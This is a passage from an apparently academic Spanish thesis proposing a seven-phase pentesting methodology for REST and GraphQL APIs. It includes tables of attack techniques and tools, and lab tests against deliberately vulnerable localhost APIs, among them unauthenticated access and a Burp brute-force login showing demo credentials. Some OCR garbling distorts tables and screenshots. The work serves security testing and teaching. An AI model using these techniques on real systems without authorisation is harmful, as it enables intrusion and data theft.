evaluacion y proteccion.

Segun TryHackMe (2025), las vulnerabilidades en las interfaces de programacion de
aplicaciones (APIs) han sido uno de los vectores mas frecuentes de exposicion de
informacion en los ultimos afios. Diversas organizaciones de alcance global han
experimentado incidentes significativos derivados del uso inadecuado o la explotacion de
fallos en dichas interfaces. Entre los casos mas relevantes se destacan los siguientes:

Brecha de datos en LinkedIn (2021): En junio de 2021, se report6 la exposicion de
informacion perteneciente a mas de 700 millones de usuarios de LinkedIn, cuyos datos fueron
puestos a la venta en foros de la dark web. La informacién fue obtenida mediante técnicas de
scraping que aprovecharon vulnerabilidades en la API de la plataforma.

El atacante publico una muestra de aproximadamente un millon de registros para demostrar la
autenticidad de la filtracion, los cuales contenian nombres completos, direcciones de correo
electronico, numeros telefonicos, ubicaciones geograficas, enlaces a perfiles, historial laboral
y otros datos asociados a cuentas en redes sociales. Este incidente evidencio la falta de
controles adecuados en la proteccion de datos expuestos a través de interfaces publicas.

Brecha de datos en Twitter (2022): En junio de 2022, se produjo una brecha que
afect6 a mas de 5,4 millones de usuarios de Twitter, cuyos datos fueron igualmente
comercializados en la dark web. Los atacantes explotaron una vulnerabilidad de tipo “dia
cero” (zero-day) presente en la API de Twitter, la cual permitia asociar identificadores de
usuario (handles) con numeros de teléfono o direcciones de correo electronico. Este incidente
puso de manifiesto la importancia de aplicar medidas de seguridad proactivas y mecanismos
de autenticacion robustos en la gestion de APIs expuestas.

Brecha de datos en PIXLR (2021): En enero de 2021, la aplicacién de edicion

fotografica en linea PIXLR sufti6 una brecha de seguridad que comprometio los datos de
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aproximadamente 1,9 millones de usuarios. La informacion fue publicada en un foro de la
dark web e incluia nombres de usuario, direcciones de correo electronico, paises de origen y
contrasefias cifradas (hashed). Este evento revelo deficiencias en la gestion de credenciales y
en la proteccion de los datos almacenados por servicios de edicion en linea.

En conjunto, estos casos reflejan como las APIs, si no son debidamente aseguradas,
pueden convertirse en un canal critico para la exposicion de datos sensibles. Asimismo,
refuerzan la necesidad de adoptar estrategias integrales de seguridad, incluyendo practicas de
hardening de APIs, autenticacion multifactor, auditorias continuas y politicas de minima
exposicion de datos.

Como se evidencia a lo largo del marco tedrico y del anélisis cientifico desarrollado,
no existe un modelo genérico y estructurado especificamente orientado al pentesting de APIs.
Esta ausencia metodoldgica genera vacios en la practica, ya que los analistas de seguridad
deben apoyarse tinicamente en criterios individuales o en lineamientos parciales que no
cubren todo el proceso de evaluacion. Por ello, surge la necesidad de proponer un nuevo
modelo que brinde al pentester un enfoque mas robusto, sistematico y completo para la
ejecucion de pruebas, evitando asi inconsistencias y asegurando una evaluacion integral de

las APIs.

2.9 Bases para la Propuesta Metodologica
2.9.1 Principios que Guian la Metodologia Propuesta
Segun Gemini (2025), “Un principio es una regla, criterio o concepto
fundamental que guia su creacion, disefio o funcionamiento. Estos principios aseguran que el
modelo sea coherente, funcional y cumpla sus objetivos, ya sea en disefio grafico,

contabilidad o estrategia de negocio.”
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La metodologia desarrollada para el pentesting de APIs modernas se sustenta en un

conjunto de principios que orientan su disefo, su aplicacion practica y su capacidad de

adaptarse a entornos reales. Estos principios funcionan como la base conceptual que asegura

coherencia, rigurosidad y continuidad en todo el proceso.

Sobre esta base, los principios que guian la metodologia se estructuran de la siguiente

manecra:

Tabla 4

Principios del Modelo de guia para pentesting de APl

Principio

Descripcion

Planificacion Estratégica

Descubrimiento Sistematico

Reconstruccion Controlada

Evaluacion Basada en Estandares

Validacion Perimetral

Documentacion y Evidencia

Mejora Continua

El proceso inicia con una definicion clara de objetivos,
alcances, restricciones y roles. Este principio asegura
direccion y evita improvisaciones durante el pentesting.
Establece la importancia de mapear, enumerar y
comprender la superficie de ataque antes de ejecutar
acciones intrusivas sobre la API.

Indica que la evaluacion debe realizarse en un entorno
seguro, replicado o sandbox, permitiendo resultados
reproducibles sin afectar produccion.

Garantiza que las pruebas sigan lineamientos reconocidos
(OWASP API Security, PTES, NIST), fortaleciendo el
rigor técnico y la comparabilidad del proceso.

Reconoce que la seguridad de la API también depende de
sus controles externos, como CORS, TLS, API Gateways,
WAF y otras configuraciones del entorno.

Todo hallazgo debe estar respaldado con evidencia clara,
verificable y comprensible, garantizando transparencia
técnica durante el proceso.

La metodologia opera bajo un ciclo de retroalimentacion,
validando correcciones e incorporando aprendizajes en

futuras planificaciones siguiendo un enfoque PDCA.
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2.9.2 Adaptacion a los Lineamientos de OWASP API Security Top 10

La metodologia propuesta incorpora los lineamientos del OWASP API Security Top
10 como eje central para la identificacion y clasificacion de vulnerabilidades en APIs
modernas. Esto permite al proceso alinearse con uno de los estandares internacionales mas
relevantes en materia de seguridad de interfaces, enfocado especificamente en riesgos
asociados al disefio, exposicion, autenticacion y gestion de datos dentro de APIs RESTful y
GraphQL.

La adaptacion consiste en utilizar cada categoria del OWASP API Security Top 10
como una guia estructurada para orientar las pruebas de seguridad, estableciendo patrones de
evaluacion que abarcan desde fallas de autorizacion (BOLA), errores de autenticacion,
exposicion involuntaria de informacion, fallas en la validacidon de datos, problemas de
configuracion, hasta la ausencia de mecanismos de rate limiting o monitoreo. Con ello, la
metodologia asegura una cobertura amplia y consistente frente a las amenazas mas criticas y
frecuentes documentadas en entornos API.

En este sentido, OWASP no se emplea como una metodologia de pentesting en si
misma, sino como un marco de referencia que fortalece la fase de evaluacion técnica y
explotacion controlada. Gracias a esta adaptacion, el modelo garantiza que cada analisis esté
respaldado por criterios reconocidos, actualizados y especificos para APIs, consolidando un

enfoque sistematico y alineado con las mejores practicas de la industria.

2.9.3 Consideraciones de aplicabilidad y alcance
La metodologia propuesta para el pentesting de APIs modernas estd disefiada para ser
aplicable en entornos donde se utilicen arquitecturas RESTful o GraphQL,

independientemente del lenguaje de programacion, framework o infraestructura utilizada. Su
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estructura modular permite adaptarla a proyectos de distinta escala, desde APIs de laboratorio
y entornos controlados hasta sistemas empresariales distribuidos basados en microservicios.

El alcance de esta metodologia comprende las actividades fundamentales del proceso
de evaluacion de seguridad: planificacion, descubrimiento, recreacion del entorno, pruebas
basadas en estandares, explotacion controlada, revision perimetral y mejora continua. Si bien
la metodologia establece un marco general aplicable a multiples escenarios, su efectividad
depende de la disponibilidad de informacion minima inicial, permisos adecuados y un
entorno seguro donde realizar las pruebas.

Asimismo, se reconoce que ciertas particularidades técnicas como configuraciones
altamente personalizadas, autenticacion propietaria, middleware complejo o restricciones de
acceso pueden requerir ajustes menores en la implementacion practica. Sin embargo, estos
ajustes no afectan la esencia del modelo, ya que fue concebido para mantenerse flexible,

escalable y adaptable a las necesidades especificas de cada API evaluada.
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Capitulo 3: Diseiio de la metodologia
3.1 Enfoque de la Investigacion

Enfoque Cualitativo

Para la presente investigacion se adopta un enfoque cualitativo, dado que el estudio se
basa en el andlisis de la literatura existente para desarrollar un modelo metodologico propio.
Este enfoque permite interpretar y comprender los conceptos, estructuras y vacios presentes
en metodologias previas, integrando dichos elementos en un nuevo marco adaptado al
contexto de APIs modernas. Ademas, el enfoque cualitativo facilita un proceso dindmico que
transita entre los hechos observados y su interpretacion técnica, permitiendo construir una
propuesta metodologica coherente, fundamentada y orientada a la practica.

El enfoque cualitativo también se guia por areas o temas significativos de
investigacion. Sin embargo, en lugar de que la claridad sobre las preguntas de investigacion e
hipoétesis preceda a la recoleccion y el andlisis de los datos (como en la mayoria de los
estudios cuantitativos), los estudios cualitativos pueden desarrollar preguntas e hipotesis
antes, durante o después de la recoleccion y el anélisis de los datos. (Hernandez et al., pag. 7)

Este planteamiento sobre el enfoque cualitativo es bastante acertado, porque refleja la
flexibilidad que caracteriza a este tipo de investigaciones al realizar un modelo. A diferencia
del enfoque cuantitativo donde todo debe estar definido desde el inicio, en los estudios
cualitativos las preguntas pueden ir evolucionando conforme se analiza la informacion. Esto
permite comprender mejor los fendmenos, adaptarse a lo que se va encontrando y construir
interpretaciones mas profundas.

Justificacion del tipo de enfoque

La presente investigacion nos permite construir criterios y comprension propia sobre

el modelo que hemos desarrollado. Por esta razon, el tipo de enfoque adoptado es cualitativo,
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ya que este enfoque facilita la interpretacion, el anélisis conceptual y la generacion de
propuestas metodoldgicas basadas en la revision de literatura, la observacion técnica y la
reflexion sobre los hallazgos.

Mientras que un estudio cuantitativo se basa en investigaciones previas, el estudio
cualitativo se fundamenta primordialmente en si mismo. El cuantitativo se utiliza para
consolidar las creencias (for-muladas de manera ldgica en una teoria o un esquema teorico) y
establecer con exactitud patrones de comportamiento de una poblacion; y el cualitativo, para
que el investigador se forme creencias propias sobre el fenomeno estudiado, como lo seria un
grupo de personas unicas o un proceso particular. (Hernédndez et al., pag. 10)

El enfoque cualitativo no se limita a medir variables, sino que permite comprender
fenomenos, fundamentar decisiones metodologicas y dar sentido a los elementos que
conforman el modelo propuesto.

3.2 Tipo de Investigacion

Investigacion Descriptiva

Segtn Hernandez et al. (2014), la investigacion descriptiva “busca especificar las
propiedades, las caracteristicas y los perfiles de personas, grupos, comunidades, procesos,
objetos o cualquier otro fendmeno que se someta a un analisis” (pag. 13).

A partir de esta definicion, la presente investigacion se enmarca en el tipo descriptivo,
ya que su propdsito principal es analizar y detallar los componentes, caracteristicas y etapas
que conforman una metodologia de pentesting para APIs modernas. No se pretende medir
variables numéricas, sino describir, estructurar y comprender como interactian los elementos
de modelos existentes (PTES, NIST, OSSTMM y OWASP API Security) para fundamentar

la construccion de un nuevo enfoque metodologico.
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En este sentido, la naturaleza descriptiva del estudio permite caracterizar el problema,
identificar vacios en metodologias previas y definir con claridad las propiedades de la
propuesta presentada.

3.3 Diseiio de Investigacion

Diserio no Experimental

El disefio de la presente investigacion es no experimental, puesto que no se manipulan
variables independientes ni se controlan condiciones externas para observar efectos derivados
de dichas manipulaciones. En cambio, el fenémeno se analiza tal como ocurre en su contexto
tedrico y técnico, siguiendo un proceso de revision, sintesis y aplicacion practica en un
entorno controlado.

De acuerdo con Hernandez et al., (2014), los estudios no experimentales se clasifican
principalmente por la dimension temporal de la recoleccion de datos, distinguiéndose entre
disefos transeccionales y longitudinales. Los autores afirman que los disefios transeccionales
se caracterizan porque “recolectan datos en un solo momento, en un tiempo tnico. Su
proposito es describir variables y analizar su incidencia e interrelacién en un momento dado;
es como ‘tomar una fotografia’ de algo que sucede” (pag. 154)

Por estas razones, el disefio no experimental transeccional descriptivo resulta el mas
adecuado para los objetivos planteados, pues permite obtener una vision clara del fendmeno y
fundamentar la construccion de un modelo metodologico novedoso y aplicable.

3.4 Técnicas e Instrumentos

Las técnicas empleadas en esta metodologia abarcan validaciones de autenticacion,
autorizacion, manipulacion de parametros, logica de negocio y exposicion de datos,
permitiendo un analisis exhaustivo de la seguridad de las APIs. Estas técnicas fueron

aplicadas tanto en REST como en GraphQL, adaptandose a sus particularidades
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arquitectonicas. En conjunto, proporcionaron una perspectiva completa del comportamiento

real de la API frente a ataques técnicos y fallas de disefio.

Tabla 5

Técnicas Utilizadas en las pruebas

Categoria de

Técnicas Utilizadas

Descripcion de la Técnica

Prueba
. Validar si la API permite acceso directo
Acceso sin token . .
sin credenciales.
Envio repetitivo de intentos de login para
Fuerza bruta Vi .p tvo cel ginp
Pruebas de descubrir credenciales.
Autenticacion ) ., Alteracion del payload, firma, expiracion
utenticact Manipulacién de JWT acion de’ pay oad, Hirmd, expiract
y validacion del token.
Reutilizacion de tokens antiguos o
Replay Attack Feutiizact g
invalidados para acceder al sistema.
Modificar IDs para acceder a recursos de
IDOR ! S P u
otros usuarios.
Acceso a objetos Intentar consultar o modificar recursos
Pruebas de ajenos que no pertenecen al usuario.
Autorizacion Intento de acceso a funciones de

Manipulacion de
Parametros

Lagica de Negocio

Exposicion de Datos

Escalacion vertical
Escalacion horizontal
Type Tampering

Mass Assignment

Manipulacién de
userld

Inyeccion de payloads

Reservas duplicadas

Manipulacién de
precios

Bypass de flujo de
pago
Transferencias
indebidas
Exposicion de
contrasefnas
Exposicion de
informacion interna

Enumeracion masiva

administrador con usuario normal.
Acceso a funciones de un usuario igual
cambiando pardmetros.

Envio de tipos incorrectos (string vs int)
para alterar la logica.

Inclusion de pardmetros ocultos para
modificar campos sensibles.

Alteracion del identificador de usuario
para asumir identidades.

Envio de cargas maliciosas (SQLi,
NoSQLi, fuzzing).

Crear transacciones repetidas en conflicto
de horario.

Alterar valores econémicos enviados al
backend.

Modificar estados manualmente para
saltarse validaciones.

Realizar operaciones financieras sin
controles adecuados.

Verificacion de passwords en texto
plano.

Revision de variables sensibles, logs o
endpoints debug.

Solicitar grandes volumenes sin
limites/paginacion.
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Las herramientas seleccionadas combinaron capacidades manuales, semiautomaticas

y automatizadas, permitiendo una cobertura amplia y profunda del entorno evaluado. Cada

herramienta aporta funciones especificas para inspeccionar trafico, manipular solicitudes,

automatizar escaneos y validar tokens o configuraciones. Esta combinacion fortalece la

metodologia al garantizar un analisis eficiente, preciso y alineado con estandares de pruebas

profesionales.

Tabla 6

Herramientas Utilizadas

Categoria Herramienta Uso Principal en la Metodologia
Permite enviar solicitudes HTTP desde
Curl terminal y validar respuestas directas de la
APIL.
Ejecucion manual de endpoints REST y
Pruebas Manuales Postman GraphQL, verificacion funcional, pruebas
rapidas y estructuradas.
GraphQL Pruebas interactivas de queries y mutations
Playground / en GraphQL, inspeccion del
Insomnia comportamiento del servicio.
Plataforma principal para interceptar,
Burp Suite modificar y repetir solicitudes. Util para
pruebas avanzadas.
Burp Repeater Manipulacién manual avanzada de
parametros, JWT, IDs y payloads.
Fuerza bruta, fuzzing, enumeracion de IDs
Burp Intruder L2
y pruebas de rate limiting.
Burp Proxy Ipterceptacién y analisis del trafico en
Pruebas tiempo real.
Semiautomaticas JWT Editor Modificacion del contenido y firmas de
Extension tokens JWT.

Autorize Extension

InQL Scanner

GraphQL Raider

Pruebas de autorizacion e IDOR
comprobando si los endpoints requieren
privilegios adecuados.

Enumeracion y analisis del esquema
GraphQL.

Fuzzing y observacion de resolvers en
GraphQL.
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Categoria Herramienta Uso Principal en la Metodologia
OWASP ZAP Escaneo actlyo y pasivo de ‘Vulnerablrh‘dades
Pruebas comunes, spidering y analisis automatico.
Automatizadas Deteccion automética de patrones de
Burp Scanner o . .
vulnerabilidad y configuraciones inseguras.
Analisis de Tokens y o Decodificacion, validacion y manipulacion
Seguridad Jwt. de JWTs.

3.6 Procedimiento

Para este apartado se consideran tres elementos fundamentales que sirven como base
para la creacion del modelo metodologico. En primer lugar, se retoma la revision
bibliografica presentada en el marco teorico, la cual permitié identificar el estado actual del
pentesting aplicado a APIs RESTful y GraphQL. En segundo lugar, se realiza un analisis de
los modelos mas reconocidos y utilizados en la industria del pentesting, como PTES,
OSSTMM, NIST SP 800-115 y OWASP API Security, con el fin de comprender sus
alcances, fortalezas y limitaciones. Finalmente, se lleva a cabo la identificacion de vacios
metodologicos presentes en las propuestas actuales orientadas a APIs, lo que evidencia la
necesidad de un enfoque estructurado y adaptado a los retos especificos de estas arquitecturas
modernas.

Estos tres componentes constituyen el punto de partida para el desarrollo del modelo
propuesto en esta investigacion.
3.6.1 Revision de la literatura

La revision de la literatura que sustenta esta investigacion se llevé a cabo de manera
detallada en el marco tedrico, donde se analizaron estudios previos relacionados con APIs
RESTful y GraphQL, asi como las principales metodologias de pentesting empleadas
actualmente (PTES, OSSTMM, NIST SP 800-115 y OWASP API Security). Esta exploracion
permitio reunir evidencia solida respecto a la evolucion del pentesting, las técnicas

comunmente utilizadas y las necesidades particulares del entorno API.
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Dicho anélisis permitio identificar un hallazgo central: no existe un modelo formal,
unificado ni una secuencia metodolédgica claramente establecida para la ejecucion de pruebas
de penetracion orientadas especificamente a APIs modernas. Aunque existen lineamientos
generales de seguridad y marcos de referencia amplios, ninguno ofrece un proceso integral
que abarque las etapas necesarias para evaluar de forma rigurosa APIs REST y GraphQL.
3.6.2 Analisis comparativo de modelos

El analisis comparativo entre las metodologias de pentesting mas reconocidas PTES,
OSSTMM, NIST SP 800-115 y los lineamientos de OWASP permite identificar un conjunto
de fases fundamentales que se repiten de forma consistente en todas ellas, pese a sus
diferencias estructurales y de enfoque.

Estas coincidencias sirven como columna vertebral para la metodologia propuesta,
demostrando que, aunque las APIs modernas requieren procesos adicionales y adaptados,
siguen compartiendo un conjunto de fases esenciales heredadas del pentesting tradicional.

Entre los elementos comunes mas relevantes se encuentran la siguiente tabla:

Tabla 7

Comparativa basada en las fases comunes del pentesting

Fase / Elemento comun PTES OSSTMM NIST SP 800-115 OWASP

Planificacion v v v v
Reconocimiento /
Recoleccion de v v v v
informacion
Analisis de superficie /

) ) v v v v
Identificacion de vectores
Explotacion v v v v
Post-Explotacién /

v v v Parcial

Validacion de impacto
Reporte v v v v




Metodologia de Pentesting para APIS 71

Mejora continua / ' ‘
. . Parcial Parcial v
Retroalimentacion

Al analizar los elementos en comin que comparten las metodologias tradicionales, se
observa que fases como la post-explotacion y la mejora continua aparecen Uinicamente de
manera parcial. Esta ausencia completa en algunos modelos y la falta de profundidad en otros
revelan vacios metodologicos significativos, especialmente considerando que ambas fases
son esenciales para un pentesting moderno y efectivo. La post-explotacion permite evaluar el
impacto real de las vulnerabilidades y la posibilidad de escalamiento, mientras que la mejora
continua garantiza que el proceso evolucione con el tiempo y se adapte a nuevas amenazas.

La insuficiencia de estas etapas en los marcos existentes confirma la necesidad de
desarrollar una metodologia mas robusta, coherente y actualizada para el pentesting de APIs
modernas.

3.6.3 Identificacion de vacios metodologicos

Como se evidenci6 en la literatura revisada y en los casos expuestos en el marco
teodrico, actualmente no existe un modelo metodoldgico que garantice continuidad,
profundidad y consistencia en todas las etapas del pentesting aplicado a APIs. La mayoria de
estudios y guias se apoyan en metodologias ya establecidas principalmente PTES o el
OWASP API Security Top 10 utilizandolas como un marco general de referencia. Sin
embargo, estos lineamientos, aunque utiles, presentan limitaciones importantes: tienden a
orientar procesos de ejecucion unica, no contemplan ciclos continuos de validacion y carecen
de una estructura metodologica adaptada a las particularidades de las APIs modernas.

Adicionalmente, muchos trabajos mencionan enfoques de “caja blanca”, “caja negra”
o0 “caja gris”, los cuales son valiosos para definir niveles de acceso, pero resultan

insuficientes para establecer un proceso metodoldgico completo, ya que no detallan fases
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operativas, criterios de transicion entre etapas ni procedimientos especializados para entornos
REST o GraphQL.

Un vacio especialmente critico es la ausencia de una fase formal de recreacion del
entorno. En un contexto de seguridad avanzada, los analistas requieren ejecutar pruebas que

no es posible realizar en sistemas productivos, tales como:

o Pruebas de denegacion de servicio (DoS),

o Ataques de impacto profundo,

° Simulaciones de ransomware,

o Pruebas de persistencia, escalamiento o movimiento lateral.

Dichas actividades jamdas pueden ejecutarse sobre APIs en produccion por razones de
estabilidad operativa y proteccion de datos. Sin embargo, un atacante real incluyendo APT no
se detendrd por restricciones €ticas u operativas; actuard con todos los recursos disponibles y
sin limitaciones de entorno.

La falta de una etapa metodologica que permita replicar, controlar y estudiar estos
escenarios en un laboratorio seguro representa un vacio que los modelos tradicionales no
abordan, lo que refuerza la necesidad de desarrollar una metodologia especializada que cubra
estos aspectos y permita pruebas completas, reproducibles y orientadas a la realidad de las
amenazas actuales.

3.6.4 Diseiio del modelo de 7 fases

La construccion del modelo metodologico propuesto surge como una respuesta directa
a los vacios identificados en la literatura y en los marcos tradicionales de pentesting. A partir
de la revision bibliografica, del analisis comparativo de metodologias (PTES, OSSTMM,
NIST SP 800-115 y OWASP API Security) y del reconocimiento de las limitaciones de los
modelos existentes frente a APIs RESTful y GraphQL, se plante6 la necesidad de disefiar una

metodologia especifica, coherente y técnicamente adaptable a los desafios actuales.
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El desarrollo del modelo se llevo a cabo mediante un proceso estructurado que integra
cuatro componentes fundamentales. En primer lugar, se realizo la derivacion de los elementos
comunes presentes en las metodologias tradicionales de pentesting, los cuales sirvieron como
base para definir las fases esenciales del proceso. En segundo lugar, se incorpor6 la etapa de
reconstruccion o recreacion del entorno, indispensable para ejecutar pruebas controladas,
seguras y representativas, permitiendo evaluar la API sin afectar servicios productivos.

El tercer componente corresponde a la integracion del marco de referencia de
OWASP, especialmente del OWASP API Security Top 10, que aporta lineamientos
actualizados sobre vulnerabilidades, riesgos y controles especificos del entorno API.
Finalmente, se afiadié un componente de mejora continua, orientado a consolidar las
lecciones aprendidas, retroalimentar el proceso y reiniciar la planificacion con mayor
precision, creando asi un ciclo metodolégico iterativo y sostenible.

3.7 Criterios de Validacion

La validacion de la metodologia se realizara mediante la aplicacion practica del
modelo en una API seleccionada y la evaluacion de su desempefio con base en criterios
técnicos, comparativos y operativos. Los criterios definidos para validar la propuesta se
presentan en la siguiente tabla:

Tabla 8

Criterios de validacion para la propuesta de la metodologia

Criterio Descripcion

. . Evalua si las fases del modelo siguen un orden logico
Coherencia metodologica .
y alineado con PTES, NIST y OWASP.
Verifica que la metodologia identifique
Cobertura de riesgos vulnerabilidades del OWASP API Top 10 y fallos
comunes en REST/GraphQL.
Analiza si los resultados pueden replicarse bajo las

Reproducibilidad ) o
mismas condiciones.
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Criterio Descripcion
o Determina si el modelo detecta vulnerabilidades reales
Efectividad o
comparado con métodos tradicionales.
. Evalua si puede aplicarse a APIs de distinta
Adaptabilidad

complejidad, tamafio y tecnologia.

. ) Mide si la metodologia permite verificar
Mejora continua o ) )
remediaciones y retroalimentar nuevas evaluaciones.

Estos criterios permitiran determinar la solidez, utilidad y pertinencia del modelo
propuesto, proporcionando evidencia de que la metodologia cumple con los objetivos
planteados y aporta valor real al proceso de pentesting de APIs modernas.

3.8 Generacion del Modelo

El modelo metodoldgico propuesto para el pentesting de APIs modernas se estructura
en siete fases consecutivas, disefiadas para cubrir de manera integral el ciclo de evaluacion,
prueba, verificacion y mejora continua. A continuacion, se describe:

Fase 1. Plan

En esta fase se definen los objetivos, alcances, limitaciones, reglas de compromiso y
recursos necesarios para la ejecucion de las pruebas. Incluye la identificacion del entorno
API, el establecimiento de permisos y la seleccion de herramientas y criterios de evaluacion.

Fase 2. Profiling

Esta fase agrupa todas las actividades de observacion inicial del entorno, integrando
técnicas como:

o OSINT aplicado a APIs
o Enumeracion de endpoints y resolvers
o Escaneo y deteccion de tecnologias

o Recoleccion y analisis preliminar de informacion
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El objetivo es construir un perfil técnico detallado de la API antes de cualquier accion
intrusiva.

Fase 3. Rebuild

Tras comprender la estructura y componentes de la API, se procede a la construccion
de un entorno controlado o réplica funcional.
Este entorno permite ejecutar pruebas agresivas como DoS, manipulacion de trafico, fallos
logicos o pruebas de impacto profundo sin afectar sistemas productivos.

Fase 4. OWASP-Driven

Con el entorno replicado, se aplica un proceso de explotacion basado en los
lineamientos del OWASP API Security Top 10.

La fase incluye:

o Validacion de controles de autenticacion y autorizacion
o Pruebas de logica de negocio

o Manipulacién de parametros

o Evaluacion del acceso a datos

o Pruebas manuales, automatizadas y semiautomatizadas

El propoésito es demostrar la existencia y el impacto de vulnerabilidades reales.

Fase 5. Verificacion del Entorno

Una vez identificadas y explotadas las vulnerabilidades, se procede a su verificacion
técnica. Esto implica confirmar reproducibilidad, impacto, persistencia, rutas alternas de
explotacion y posibles efectos colaterales en la arquitectura API. Conforme a lo expuesto
anteriormente, estas pruebas deberan ser realizadas previo al paso a produccién en un entorno

no productivo que se asemeje al de produccion.
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Fase 6. Reporting

En esta etapa se documentan todos los hallazgos, evidencia, niveles de riesgo, pasos
de explotacion, controles afectados y recomendaciones. El reporte puede servir como base
para playbooks, auditorias internas y procesos de respuesta a incidentes.

Fase 7. Improvement (Mejora Continua)

Fase dedicada a analizar los resultados y retroalimentar la metodologia.
Permite ajustar procesos, reforzar controles, incorporar lecciones aprendidas y reiniciar la
fase de planificacion con mayor precision, creando un ciclo iterativo y sostenible de
seguridad.

A continuacion, se presenta un grafico que ilustra el funcionamiento del modelo
propuesto, permitiendo visualizar cada una de sus fases y la forma en que se articulan entre si
dentro del ciclo metodologico del pentesting de APIs modernas.

Figura 1

Modelo metodologico propuesto para el pentesting de APIS RestFull y GraphQL
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Capitulo 4: Aplicacion Practica y Validacion

4.1. Descripcion de las Apis que se Utilizara

Para la aplicacion y validacion de la metodologia utilizamos dos APIS desarrollados
para un sistema de reserva de canchas de futbol sintéticas. Las Apis fueron desarrolladas
tanto de tipo Rest como GraphQL.

Con respecto a los componentes necesarios que necesitamos para que las API se
ejecuten de forma correcta son las siguiente:
4.1.1 A nivel de Plataforma se Requiere lo Siguiente:

Node.js version 16 o superior.

npm version 8 o superior.
4.1.2 A Nivel de Carpetas del Proyecto es Necesario Contar con los Siguientes Archivos:

Para API Rest dentro de una carpeta a la que nombramos (api-canchas-vulnerable-
rest) se deben encontrar los siguientes archivos:

app.js (en este archivo colocaremos el codigo completo de la API).

package.json (se coloca la definicion del proyecto y sus dependencias).

node modules (carpetas instaladas automaticamente por npm install).

Para API GraphQL dentro de una carpeta a la que nombramos (api-canchas-
vulnerable) se deben encontrar los siguientes archivos:

index.js (contiene el server, el esquema GraphQL, logica de negocio y autenticacion).

package.json (dependencias necesarias).

package-lock.json (version bloqueada de dependencias).

node modules (librerias instaladas por npm).
4.1.3 A Nivel de las Librerias Importantes que Deben Estar Instaladas Tenemos las
Siguientes:

API Rest importante instalar
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express (manejo de servidor y rutas)
cors (permitir acceso desde cualquier origen)
jsonwebtoken (firmar y validar tokens JWT)
API GraphQL importante instalar.
apollo-server (Levantar el servicio graphQL)
graphql (motor interprete)
jsonwebtoken (generar tokens)

Figura 2

Script desarrollado para canchas API

node_modules

)] kali@kali: ~/api-canchas-vulnerable-rest

File Actions Edit View Help

zsh: corrupt history file /home/kali/.zsh_history

i—( kali® kali)-[~/api-canchas-vulnerable-rest]
—% node app.Jjs
API de canchas escuchando en http://localhost:3080
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Figura 3

Script desarrollado para canchas API GraphQL

node_modules i jst package-lock.json

kali@kali: ~fapi-canchas-vulnerable

File Actions Edit View Help

zsh: corrupt history file /home/kali/.zsh_history
|—'I kali® kali)-[~/api-canchas-vulnerable]
L% node index.js

ﬁ’-Serﬁidér GraphQL vulnerable corriendo en: http://localhost:4008/

4.2. Aplicacion de la Metodologia

Validacion de controles de autenticacion y autorizacion, este primer punto nos ayuda
a evaluar que la API implemente los mecanismos que garantizan la identidad del usuario y su
nivel de permisos. Adicional verificamos si es posible acceder o manipular recursos sin estar
autenticado o sin contar con la autorizacion correspondiente. Una mala implementacion
permite que atacantes suplanten identidades, accedan a datos sensibles o realicen acciones
privilegiadas. Estos fallos son criticos porque comprometen completamente la integridad del
sistema y la confidencialidad de la informacion. Realizamos este tipo de pruebas para
garantizar que los usuarios solo puedan ejecutar acciones acordes a su rol y evitar ataques

como escalacion de privilegios, bypass de autenticacion o acceso indebido a informacion.

Prueba 1 — Acceso sin autenticacion

Vulnerabilidad: Falta de control de acceso en endpoints publicos.
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Descripcion: La API permite acceder a recursos sensibles sin requerir autenticacion,
exponiendo datos o funcionalidades criticas. Esto evidencia ausencia de validacion de tokens
y controles de seguridad bésicos en el backend.

CVSS 4.0: 9.0 — Critico

Explotacion: Un atacante realiza solicitudes directas a los endpoints sin token ni
credenciales. Obtiene informacion o ejecuta acciones que deberian estar restringidas a
usuarios autenticados.

Recomendacion: Requerir autenticacion obligatoria mediante middleware, validar
tokens y limitar endpoints publicos.

Herramientas utilizadas para validar:

REST: Postman, curl, Burp Suite

GraphQL: Playground sin token, Burp Suite

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Para el API Rest utilizando la herramienta Postman una invocacién a uno de los
directorios identificados y su respuesta genera un codigo 200 en el cual se puede observar los

datos sensibles como resultado.
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Figura 4

Acceso sin autenticacionl

httpifilocalhost:3000 spifusers - My Workspace

File Edit View Help

Home Workspaces AP| Netwark

hittp:/flocalhost: 3000 /apl/users

form-data

Revision API GraphQL

Para la API GraphQLutilizando la herramienta GraphQL Playground un query el cual
genero un codigo 200 y se puede observar los datos sensibles como resultado.
Figura 5

Acceso sin autenticacion?2

(APOLLO
Unnamed

Documentation .
Operation

Variables
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Prueba 2 — Validacion de fuerza bruta

Vulnerabilidad: Ausencia de rate limiting

Descripcion: El sistema permite intentos ilimitados de autenticacion sin bloquear
solicitudes sospechosas. Esto facilita ataques automatizados para adivinar contrasefias o
tokens.

CVSS 4.0: 8.2 — Alto

Explotacion: Un atacante automatiza miles de intentos de login para obtener
credenciales validas.

Sin limitaciones ni captchas, el ataque pasa inadvertido.

Recomendacion: Implementar rate limiting, captchas, bloqueo temporal y monitoreo
de intentos fallidos.

Herramientas utilizadas para validar:

REST: Burp Intruder, Hydra

GraphQL: Burp Intruder (sobre mutation login)

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Utilizando la herramienta Burp (Intruder) enviamos la peticion con método (POST

/api/auth/login)
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Figura 6

Validacion de fuerza brutal

Durp  Project Infruder Repeater View  Help Bu snity Editionv2025.10.6-
Dashboard Target Proxy Inkruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer

15 X+

= & B

Request Response

Pretty R a@ wn = Pretty Raw Hex

1 POST /apifauth/login 1 HTTP/1.1 200 OK

HTTP/1.1 2 X-Powered-By: Express
2 Host: localhest: 3600 3 Access-Control-Allow-Origin: *

Content -Type:
application/json

4 Content-Length: 62
6 1
7 "enail”!
“adming@demo.con”,
“password":*adnin123"
1y

Content-Type: application/json: charset=utf-&
Content-Length: 288

ETag: W/"120- E4thY6.]Cﬂ',|BSqV2rN’fI'-"JGG2UtA‘
Date: Sat, OB Dec 2035 01:88:54 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{
‘nessauc":"Lumn exitoso”,

"token"

Temporary Project

Extensions

Leamn

&3

eththlDl!_.;21.1N1IfLr‘P‘-cCISanCJS ey lpZCIEMSwicn 95251 ImFk bWl uliviaWFol] oxNzYBOTgzMzMBLC Tl eHAL O] ESN] L1 DOgxMzR. rkKmh-1_
ek

